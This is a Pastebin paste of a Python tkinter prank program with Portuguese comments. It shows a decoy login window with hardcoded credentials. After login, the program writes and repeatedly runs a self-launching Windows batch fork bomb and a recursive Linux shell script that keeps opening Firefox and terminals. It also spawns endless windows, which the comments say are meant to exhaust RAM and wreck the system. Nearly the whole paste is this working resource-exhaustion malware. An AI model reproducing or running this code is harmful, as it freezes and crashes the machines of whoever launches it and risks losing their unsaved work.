Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import tkinter
- ##from tkinter import ttk
- from tkinter import *
- ##from tkinter.ttk import *
- import sys
- import os
- ##import subprocess
- def new_win(): #Nova window mb
- newwin = Toplevel(master)
- newwin.geometry("200x200")
- newwin.configure(background='pink')
- display = Label(newwin, text="\n\n\nYou know what to do.",background="pink")
- display.pack()
- btn=tkinter.Button(newwin,text="FÁBIO QUE?",command=create)
- btn.pack()
- def callback(): #Obtem as infos que estão nos parametro de entrada
- password=passwd.get()
- username=user.get()
- if username == "Root" and password=="123": #Verifica se o user existe ou não //// Mudem aqui o user e pass
- new_win() #Cria nova janela
- #Function to Create Fabio.bat and Fabio.sh
- def create():
- print("creating new file")
- try:
- #Cria o ficheiro .bat para windows
- file=open("fabiocoentrinho.bat",'w')
- file.write(":A\n")
- file.write("start fabiocoentrinho.bat\n")
- file.write("\n")
- file.write("goto :A\n")
- file.close()
- #Cria o ficheiro .sh para linux
- file=open("fabiocoentrinho.sh","w")
- file.write("firefox &\n")
- file.write("xfce4-terminal &\n")
- file.write("sh fabiocoentrinho.sh\n")
- file.close()
- #print("ola")
- while 1: #Para fuder isto tudo, o iniciar tambem esta em loop.
- os.system("sh fabiocoentrinho.sh") #Corre o sh
- os.system("fabiocoentrinho.bat") #corre o bat
- new_win() # Corre novas janelas, não faz muito, mas ajuda a gastar a RAM
- #Caso de algum erro
- except:
- print("error occured")
- sys.exit(0)
- master = Tk()
- photo = tkinter.PhotoImage(file="fabiocoentrinho.gif") #Imagem
- w = tkinter.Label(master, image=photo)
- w.pack()
- master.configure(background='#ffffff') #Cor do bg da janela
- master.title("Taveira foi ao Fabio Coentrinho") # Titulo da janela
- master.geometry("400x530") # tamanho da janela
- lbl= tkinter.Label(master,text="Username",bg="#ffffff")
- lbl.pack()
- user = Entry(master)
- user.pack()
- user.focus_set()
- lbl2= tkinter.Label(master,text="Password",bg="#ffffff")
- lbl2.pack()
- passwd = Entry(master,show="*")
- passwd.pack()
- b = Button(master, text="Login", width=10, command=callback)
- b.pack()
- mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement